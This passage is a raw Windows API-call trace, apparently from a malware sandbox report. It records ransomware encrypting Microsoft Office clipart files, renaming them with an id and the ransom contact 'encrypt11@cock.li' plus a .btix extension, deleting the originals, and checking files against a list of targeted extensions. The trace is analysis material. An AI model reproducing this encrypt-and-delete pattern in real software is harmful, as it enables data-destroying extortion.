office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0059.976] GetLastError () returned 0x0 [0059.976] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0xc20, lpOverlapped=0x0) returned 1 [0060.039] WriteFile (in: hFile=0x320, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xc30, lpOverlapped=0x0) returned 1 [0060.040] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.040] WriteFile (in: hFile=0x320, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0060.040] SetEndOfFile (hFile=0x320) returned 1 [0060.040] CloseHandle (hObject=0x320) returned 1 [0060.041] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.041] SetEndOfFile (hFile=0x2e0) returned 1 [0060.042] CloseHandle (hObject=0x2e0) returned 1 [0060.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0060.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0060.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0060.043] lstrlenW (lpString=".doc") returned 4 [0060.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.043] lstrlenW (lpString=".docx") returned 5 [0060.043] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.043] lstrlenW (lpString=".pdf") returned 4 [0060.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.043] lstrlenW (lpString=".xls") returned 4 [0060.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.043] lstrlenW (lpString=".xlsx") returned 5 [0060.043] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.043] lstrlenW (lpString=".ppt") returned 4 [0060.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0060.043] lstrlenW (lpString=".zip") returned 4 [0060.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.043] lstrlenW (lpString=".rar") returned 4 [0060.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.043] lstrlenW (lpString=".bz2") returned 4 [0060.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.043] lstrlenW (lpString=".7z") returned 3 [0060.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0060.043] lstrlenW (lpString=".dbf") returned 4 [0060.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0060.044] lstrlenW (lpString=".1cd") returned 4 [0060.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0060.044] lstrlenW (lpString=".jpg") returned 4 [0060.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.044] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.044] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0060.044] GetLastError () returned 0x0 [0060.044] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0060.160] WriteFile (in: hFile=0x320, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0060.161] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.161] WriteFile (in: hFile=0x320, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0060.161] SetEndOfFile (hFile=0x320) returned 1 [0060.161] CloseHandle (hObject=0x320) returned 1 [0060.163] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.163] SetEndOfFile (hFile=0x2e0) returned 1 [0060.164] CloseHandle (hObject=0x2e0) returned 1 [0060.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0060.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0060.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0060.168] lstrlenW (lpString=".doc") returned 4 [0060.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.168] lstrlenW (lpString=".docx") returned 5 [0060.168] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.168] lstrlenW (lpString=".pdf") returned 4 [0060.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.168] lstrlenW (lpString=".xls") returned 4 [0060.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.168] lstrlenW (lpString=".xlsx") returned 5 [0060.168] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.168] lstrlenW (lpString=".ppt") returned 4 [0060.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0060.168] lstrlenW (lpString=".zip") returned 4 [0060.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.168] lstrlenW (lpString=".rar") returned 4 [0060.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.168] lstrlenW (lpString=".bz2") returned 4 [0060.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.168] lstrlenW (lpString=".7z") returned 3 [0060.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0060.169] lstrlenW (lpString=".dbf") returned 4 [0060.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0060.169] lstrlenW (lpString=".1cd") returned 4 [0060.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0060.169] lstrlenW (lpString=".jpg") returned 4 [0060.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.180] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.180] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0060.180] GetLastError () returned 0x0 [0060.181] ReadFile (in: hFile=0x318, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x984, lpOverlapped=0x0) returned 1 [0060.273] WriteFile (in: hFile=0x354, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x990, lpOverlapped=0x0) returned 1 [0060.273] ReadFile (in: hFile=0x318, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.274] WriteFile (in: hFile=0x354, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0060.274] SetEndOfFile (hFile=0x354) returned 1 [0060.274] CloseHandle (hObject=0x354) returned 1 [0060.274] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.274] SetEndOfFile (hFile=0x318) returned 1 [0060.275] CloseHandle (hObject=0x318) returned 1 [0060.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0060.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0060.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0060.277] lstrlenW (lpString=".doc") returned 4 [0060.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.277] lstrlenW (lpString=".docx") returned 5 [0060.277] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.277] lstrlenW (lpString=".pdf") returned 4 [0060.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.277] lstrlenW (lpString=".xls") returned 4 [0060.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.277] lstrlenW (lpString=".xlsx") returned 5 [0060.277] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.277] lstrlenW (lpString=".ppt") returned 4 [0060.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0060.277] lstrlenW (lpString=".zip") returned 4 [0060.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.277] lstrlenW (lpString=".rar") returned 4 [0060.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.277] lstrlenW (lpString=".bz2") returned 4 [0060.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.277] lstrlenW (lpString=".7z") returned 3 [0060.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0060.277] lstrlenW (lpString=".dbf") returned 4 [0060.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0060.277] lstrlenW (lpString=".1cd") returned 4 [0060.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0060.277] lstrlenW (lpString=".jpg") returned 4 [0060.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.284] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.284] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.286] GetLastError () returned 0x0 [0060.286] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0xf6c, lpOverlapped=0x0) returned 1 [0060.574] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xf70, lpOverlapped=0x0) returned 1 [0060.592] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.592] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0060.592] SetEndOfFile (hFile=0x318) returned 1 [0060.592] CloseHandle (hObject=0x318) returned 1 [0060.595] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.595] SetEndOfFile (hFile=0x2e0) returned 1 [0060.601] CloseHandle (hObject=0x2e0) returned 1 [0060.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0060.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0060.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0060.606] lstrlenW (lpString=".doc") returned 4 [0060.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.606] lstrlenW (lpString=".docx") returned 5 [0060.606] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.606] lstrlenW (lpString=".pdf") returned 4 [0060.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.606] lstrlenW (lpString=".xls") returned 4 [0060.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.606] lstrlenW (lpString=".xlsx") returned 5 [0060.606] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.606] lstrlenW (lpString=".ppt") returned 4 [0060.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0060.606] lstrlenW (lpString=".zip") returned 4 [0060.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.606] lstrlenW (lpString=".rar") returned 4 [0060.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.607] lstrlenW (lpString=".bz2") returned 4 [0060.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.607] lstrlenW (lpString=".7z") returned 3 [0060.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0060.607] lstrlenW (lpString=".dbf") returned 4 [0060.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0060.607] lstrlenW (lpString=".1cd") returned 4 [0060.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0060.607] lstrlenW (lpString=".jpg") returned 4 [0060.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.123] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.123] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0064.631] GetLastError () returned 0x0 [0064.631] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0xdec, lpOverlapped=0x0) returned 1 [0065.590] WriteFile (in: hFile=0x36c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xdf0, lpOverlapped=0x0) returned 1 [0066.174] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.174] WriteFile (in: hFile=0x36c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xe8, lpOverlapped=0x0) returned 1 [0066.174] SetEndOfFile (hFile=0x36c) returned 1 [0066.174] CloseHandle (hObject=0x36c) returned 1 [0066.174] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.174] SetEndOfFile (hFile=0x328) returned 1 [0066.175] CloseHandle (hObject=0x328) returned 1 [0066.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0066.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0066.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0066.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0066.176] lstrlenW (lpString=".doc") returned 4 [0066.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.176] lstrlenW (lpString=".docx") returned 5 [0066.176] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0066.176] lstrlenW (lpString=".pdf") returned 4 [0066.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.176] lstrlenW (lpString=".xls") returned 4 [0066.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.176] lstrlenW (lpString=".xlsx") returned 5 [0066.176] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0066.176] lstrlenW (lpString=".ppt") returned 4 [0066.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0066.176] lstrlenW (lpString=".zip") returned 4 [0066.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.176] lstrlenW (lpString=".rar") returned 4 [0066.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.176] lstrlenW (lpString=".bz2") returned 4 [0066.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.176] lstrlenW (lpString=".7z") returned 3 [0066.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0066.176] lstrlenW (lpString=".dbf") returned 4 [0066.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0066.176] lstrlenW (lpString=".1cd") returned 4 [0066.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0066.176] lstrlenW (lpString=".jpg") returned 4 [0066.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.177] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.177] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0066.177] GetLastError () returned 0x0 [0066.177] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x2856, lpOverlapped=0x0) returned 1 [0066.932] WriteFile (in: hFile=0x36c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x2860, lpOverlapped=0x0) returned 1 [0067.447] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.447] WriteFile (in: hFile=0x36c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xea, lpOverlapped=0x0) returned 1 [0067.447] SetEndOfFile (hFile=0x36c) returned 1 [0067.447] CloseHandle (hObject=0x36c) returned 1 [0067.447] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.447] SetEndOfFile (hFile=0x328) returned 1 [0067.448] CloseHandle (hObject=0x328) returned 1 [0067.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0067.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0067.776] lstrlenW (lpString="C:\\Program Files\\Microsoft 